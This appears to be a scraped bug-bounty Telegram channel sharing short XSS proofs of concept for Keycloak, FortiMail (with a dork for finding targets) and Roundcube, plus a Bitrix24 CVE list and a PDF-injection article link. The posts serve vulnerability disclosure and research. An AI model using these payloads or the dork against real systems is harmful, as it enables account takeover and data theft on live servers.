Keycloak POST-based Reflected XSS
1. POST
#bugbounty #keycloak #xss
1. POST
/auth/realms/master/clientsregistrations/openid-connect
2. Content-Type: application/json
3. Request {"<svg onload=alert(document.domain)>":1}
4. Unfiltered user-input in error message will triggered XSS#bugbounty #keycloak #xss
Decoding PDF Injection
This article talks about PDF injection from scratch to the execution of XSS and SSRF via PDF injection.
https://medium.com/@urshilaravindran/pdf-injection-in-simple-words-8c399f92593c
#pdf #xss #ssrf #injection
This article talks about PDF injection from scratch to the execution of XSS and SSRF via PDF injection.
https://medium.com/@urshilaravindran/pdf-injection-in-simple-words-8c399f92593c
#pdf #xss #ssrf #injection
Medium
Decoding PDF Injection
PDF injection was listed down in the top 10 web application hacking techniques of 2020 and still it appears to be one of the most…
Fortinet Fortimail 7.0.1 — Reflected Cross-Site Scripting (CVE-2021-43062)
An improper neutralization of input during web page generation vulnerability in FortiMail may allow an unauthenticated attacker to perform an XSS attack via crafted HTTP GET requests to the FortiGuard URI protection service.
PoC:
Payload:
Dork:
#fortinet #forimail #xss
An improper neutralization of input during web page generation vulnerability in FortiMail may allow an unauthenticated attacker to perform an XSS attack via crafted HTTP GET requests to the FortiGuard URI protection service.
PoC:
https://example/fmlurlsvc/?=&url=https%3A%2F%http://google.com%3CSvg%2Fonload%3Dalert(1)%3E
Payload:
https%3A%2F%http://google.com%3CSvg%2Fonload%3Dalert(1)%3EDork:
inurl:/fmlurlsvc/#fortinet #forimail #xss
🔥 Bitrix24 Multiple Vulnerabilities
Multiple high-risk vulnerabilities found in Bitrix24 v22.0.300. These include Remote Command Execution, Cross-Site Scripting, Prototype Pollution, Insecure File Access, and Denial of Service.
🌐 Details and PoC's:
🔗 CVE-2023-1713 (RCE)
🔗 CVE-2023-1714 (RCE)
🔗 CVE-2023-1715 (XSS)
🔗 CVE-2023-1717 (XSS)
🔗 CVE-2023-1718 (DoS)
🔗 CVE-2023-1719 (IDOR)
#bitrix24 #rce #xss #dos #idor
Multiple high-risk vulnerabilities found in Bitrix24 v22.0.300. These include Remote Command Execution, Cross-Site Scripting, Prototype Pollution, Insecure File Access, and Denial of Service.
🌐 Details and PoC's:
🔗 CVE-2023-1713 (RCE)
🔗 CVE-2023-1714 (RCE)
🔗 CVE-2023-1715 (XSS)
🔗 CVE-2023-1717 (XSS)
🔗 CVE-2023-1718 (DoS)
🔗 CVE-2023-1719 (IDOR)
#bitrix24 #rce #xss #dos #idor
🔥16👍3❤🔥1
A critical Cross-Site Scripting (XSS) vulnerability has been found in Roundcube Webmail, enabling attackers to inject and execute arbitrary JavaScript upon viewing a malicious email. This vulnerability could lead to the theft of emails, contacts, and passwords, as well as unauthorized email sending from the victim's account.
🛠 PoC:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar"> Foo </body>
🔗 Source:
https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail
#roundcube #xss #cve #poc
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥4❤1